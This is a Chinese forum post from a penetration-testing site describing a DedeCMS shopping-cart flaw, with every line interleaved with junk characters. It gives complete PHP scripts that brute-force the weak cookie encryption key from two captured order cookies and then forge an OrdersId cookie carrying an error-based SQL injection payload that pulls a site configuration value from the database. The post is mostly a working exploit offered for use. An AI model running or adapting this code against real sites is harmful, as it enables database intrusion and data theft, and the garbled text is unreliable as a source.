中国网络渗透测试联盟
标题:
织梦CMS漏洞dedecms漏洞SQL注入漏洞
[打印本页]
作者:
admin
时间:
2013-2-13 23:58
标题:
织梦CMS漏洞dedecms漏洞SQL注入漏洞
www.xxx.com/plus/search.php?keyword=
8 C; W1 P' x- {1 P+ j
在 include/shopcar.class.php中
! h! m4 M; A! f7 }
先看一下这个shopcar类是如何生成cookie的
1 v+ ^4 _' i9 V* ]0 ?6 R
239 function saveCookie($key,$value)
1 i d7 P O' _# d
240 {
) h- r0 _- v9 o1 W, S5 w2 m- s% J; J! t
241 if(is_array($value))
& P# q3 B( p4 q
242 {
0 G6 n! v( I, v0 W* b. ~
243 $value = $this->enCrypt($this->enCode($value));
c, @) Z; x, L% Q
244 }
( q2 x( k6 {# d1 K: ^/ I4 _
245 else
/ w; ^: N* S/ h5 o4 X" E
246 {
$ {+ N1 G! T2 s: h: I* S+ @
247 $value = $this->enCrypt($value);
+ X6 ~' a9 C- H) W. V7 t& h
248 }
- L' T1 K/ ]% b, X6 D3 o
249 setcookie($key,$value,time()+36000,’/');
& c- [ D8 _! I' O
250 }
+ s- ^8 I$ r9 s) S* [
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
7 k b! Z G. e% M( ~2 a& [/ D$ R
186 function enCrypt($txt)
8 w" [0 a, V0 q, y, k. {
187 {
; y1 a; }0 ?0 g5 d
188 srand((double)microtime() * 1000000);
4 w9 D( g3 Y8 X+ L3 f
189 $encrypt_key = md5(rand(0, 32000));
0 L5 K3 J) t' F8 K
190 $ctr = 0;
: y1 q+ C. c' L- _
191 $tmp = ”;
0 r; c& T' e! s/ ]: T6 a
192 for($i = 0; $i < strlen($txt); $i++)
2 h6 ?+ d1 T) q& y
193 {
8 w! y; i3 ~# ~; x N1 U6 V
194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
, ~' y- k/ Q/ R% O0 L2 ~
195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
" m# n8 F" z @8 S3 E
196 }
5 n' P$ x9 \" ^$ E8 z$ w! _
197 return base64_encode($this->setKey($tmp));
2 m, H7 J) {! U+ Z* T1 f2 n
198 }
% Z9 x4 `1 Q- a- }1 M7 |3 [
213 function setKey($txt)
& `- Z; L; ?9 y8 ]( D( E
214 {
; N0 L' R1 y8 X* L) v& T( {$ x; _
215 global $cfg_cookie_encode;
9 F- {0 g& B; S# u
216 $encrypt_key = md5(strtolower($cfg_cookie_encode));
" }/ U4 V3 p% ^; c- d( H0 Q
217 $ctr = 0;
7 P0 |/ L- X; E- N5 I# x
218 $tmp = ”;
. E. E2 W8 N. r
219 for($i = 0; $i < strlen($txt); $i++)
& g7 E8 l9 E3 x" i& w7 n
220 {
" {2 H$ t7 n8 P, b+ W8 A/ q8 B
221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
A0 S1 D, v. |! x
222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
) V! V- ^7 W+ F) C. x
223 }
2 b: B: j! f( L* n- R7 R
224 return $tmp;
9 P6 G2 T/ d& g1 N- H2 ]
225 }
6 t2 |9 H+ D2 A8 Y( u r
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
, v% J9 a$ D( F5 q5 a
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
' M9 \5 q8 [: ~, B& `
具体代码如下:
/ ~* |2 X4 D0 q! o
<?php
3 `& ]; F/ s( B3 R1 O6 O
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
& u8 k5 `) n- _; I1 a9 j
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
) |; I( o. K/ n' w( m- B P4 O, e
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
# {6 c% @3 p, A$ h
function reStrCode($code,$string)
}. W' w: a) F4 l+ r# Y8 x; P
{
$ I, Q$ a. X# t& J! K* a# E$ s5 c
$code = base64_decode($code);
( D& D1 i8 ]& f" P
$key = “”;
5 m t3 W7 ^1 S/ R
for($i=0 ; $i<32 ; $i++)
" J: t! c$ q! V) b, b" h
{
# @" n# m6 I1 D L( D. D! Z
$key .= $string[$i] ^ $code[$i];
) V# E/ N0 E. T7 b9 I
}
/ b# s' q E' c1 l6 [; A5 p% c
return $key;
; W4 a0 T; u# E7 k: R, i1 K. n& t
}
: h9 p; f% A7 C( x/ H
function getKeys($cookie,$plantxt)
+ ^' v% ~7 g: R/ i# |
{
- w8 e) `/ x4 }4 H0 f& H
$tmp = $cookie;
, ]2 m1 i- W4 E
$results = array();
) B; f4 f# `2 l( P1 W4 N
for($j=0 ; $j < 32000; $j++)
4 M% x8 I3 ]8 m% p4 a
{
7 |3 D# N9 o# q. i
7 _, v0 E' C+ U
$txt = $plantxt;
; R+ Y3 U) _# ?8 E
$ctr = 0;
2 \7 w4 d2 _$ A. D$ `1 B( |
$tmp = ”;
1 w) g* a: X! g2 R
$encrypt_key = md5($j);
: w+ h& Q! B# s$ m6 ^
for($i =0; $i < strlen($txt); $i ++)
0 g4 Q& n1 c0 t3 M* ?6 h/ G
{
* n1 h4 l6 {; Y& G* a$ o) M# n6 {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
# F% O v: O% W5 Z
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
% C/ K, d8 f) ]8 I/ o; j- v6 x5 `
}
/ c$ O$ V) j9 N) P- v
$string = $tmp;
. w. s- R& W5 O7 E
$code = $cookie;
6 }0 c4 |, p: f$ O) j; w; a
$result = reStrCode($code,$string);
! N# J8 b+ g- t# v) s: g
if(eregi(‘^[a-z0-9]+$’,$result))
* U) o+ ^; S! x; H
{
+ x/ i4 K, P$ A G2 }; r
echo $result.”\n”;
+ {" @: Q, Q7 f2 x& B% Q8 ]% ^
$results[] = $result;
C3 p/ k6 _; _* e3 S9 L/ `; o
}
e+ c# R# ]: b' E$ [
}
9 k0 t. ^* h+ d. j+ H
return $results;
- P4 d2 [% H. ~1 k P
}
' A5 m! G, e5 X! o$ Z1 w8 }6 K# [2 l
$results1 = getKeys($cookie1,$plantxt);
2 J; M8 C$ a# H) `# q0 V
$results2 = getKeys($cookie2,$plantxt);
# P( C+ k3 f, I) y' E) m; c6 p& O
print “\n——————–real key————————–\n”;
) Z# _9 C6 G/ C1 f$ W
foreach($results1 as $test1)
3 \ B" T6 Y9 I0 Z; o
{
4 ^6 j4 L+ d! {3 j w: M2 w* ?& G0 J
foreach($results2 as $test2)
* t$ [0 c/ v0 s
{
: d, {$ X6 e9 Q4 k9 b! g
if($test1 == $test2)
7 L" z1 @, _( v7 X% P
{
9 j/ d/ \. ] q8 X* P/ H7 H+ l
echo $test1.”\n”;
: u8 V& G$ F5 F+ u8 Q5 P5 A
}
: E4 T. m/ ?6 g
}
0 J, \8 ~0 s2 v0 Y# ^1 @, ~+ I
}
8 p/ [5 |, |6 O3 q7 G3 G$ z
?>
/ Y. X0 R: O! t# L/ @* j3 G
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
% ]& |. V& l5 L( `
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
% b! I4 g! _/ Z( T
然后推算出md5(strtolower($cfg_cookie_encode))
! |8 d, E; s, Q3 u
得到这个key之后,我们就可以构造任意购物车的cookie
- G/ I: v2 A- d; w6 b8 g* y
接着看
$ m" v0 W" R( W) M
20 class MemberShops
8 Y5 m, d- Z8 [
21 {
. M5 u# K/ J( x9 p& { e% W4 l$ U7 [5 e
22 var $OrdersId;
# _+ Q5 b' B. N# k
23 var $productsId;
2 Y# S. Z) e7 Y) V+ x
24
' \( Q. s" ]+ H8 `
25 function __construct()
* l" e/ g3 M4 H7 s
26 {
- Q! o+ _3 p8 A: C5 o0 x
27 $this->OrdersId = $this->getCookie(“OrdersId”);
/ m6 d+ K1 v) \
28 if(empty($this->OrdersId))
0 l6 n/ }: k/ V6 ~& K
29 {
+ P/ q2 s+ ~2 \- x5 B
30 $this->OrdersId = $this->MakeOrders();
% p9 I1 l* r5 ~) E j* N, s
31 }
7 D/ F( U% S0 P1 D# D
32 }
: d$ Y: X8 J3 C' T9 \/ B7 _
发现OrderId是从cookie里面获取的
+ u+ a$ X4 s B. I
然后
/ m' ^/ w, y+ {& h3 r
/plus/carbuyaction.php中的
0 e0 f5 _/ R6 p/ ?6 j/ H0 ^2 `
29 $cart = new MemberShops();
L9 i1 Y7 U0 y
39 $OrdersId = $cart->OrdersId; //本次记录的订单号
. E% |9 l) X9 j$ P( _# j. E
……
, Y+ Q% _* h6 v" C& A
173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
E. j' v i1 t* H+ i8 [
接着我们就可以注入了
5 m5 }. j" N1 ?6 B
通过利用下面代码生成cookie:
2 ^( x3 \7 v$ n
<?php
. m) G& C/ T; f
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
L& A- O& G2 u. t9 }2 |1 F
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here
# e6 z7 H! v0 B4 h d I6 ?4 M
function setKey($txt)
7 o: Z; S" i! o/ O a6 P
{
$ Y. @4 }! D& G2 t+ C. o% V2 [
global $encrypt_key;
3 ~! t& e3 P& V8 Z
$ctr = 0;
5 K3 @) P* f3 Z( A5 b
$tmp = ”;
; `& {5 V& |8 n" P0 |' r
for($i = 0; $i < strlen($txt); $i++)
- U) E, Y8 H% W8 k9 x) {4 _# Q
{
9 q! I7 W2 ^ _$ Z# [! Z! E+ Y
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
# \5 I0 R6 m4 p% \% g& O
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
@1 \9 I- U' e0 P0 z" h' F: Y3 {
}
$ L8 t8 {% D( K$ ?" k4 ]# f- \
return $tmp;
8 ^& x: Y. |% w/ b- a
}
( v0 K& e, \ A* _4 \/ X L
function enCrypt($txt)
" ~2 ^; W) T' O" e
{
B, F6 j4 \$ I* r9 ^
srand((double)microtime() * 1000000);
6 T; `- p) `9 b8 V& f# S& _
$encrypt_key = md5(rand(0, 32000));
9 u% B3 v8 b e% H1 Y
$ctr = 0;
2 [: P% h3 Y8 a4 o
$tmp = ”;
$ }6 x7 X: r A% s( X' O- \( L
for($i = 0; $i < strlen($txt); $i++)
4 w- Q2 i0 X" A: \+ ?; E) b
{
+ m3 W2 Q+ T- |9 t6 `! @4 W
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$ \2 J; r) t0 y( ~1 t% R
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
( o0 n9 m0 m6 E1 b( `
}
7 n, D% H* I, { E
return base64_encode(setKey($tmp));
: i' X. _- c5 V9 @' E
}
( O- i+ f7 Z$ l8 U
for($dest =0;$dest = enCrypt($txt);)
- @: Z6 S+ Z! o2 Z+ i
{
- O: x+ W6 G& |/ z4 _1 L1 m
if(!strpos($dest,’+'))
2 a9 @$ s+ ? q- T5 w$ _
{
1 x$ i, h; H; [9 D
break;
5 B/ `' o! `0 |; j
}
: a! X) t" ?, t, Z5 t
}
* \. U$ F$ F+ v; F
echo $dest.”\n”;
$ X# E4 B4 l: q2 L3 N
?>
2 z( r1 S( c( u! @* S3 I; L
# e/ c" ~$ T" @' E
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2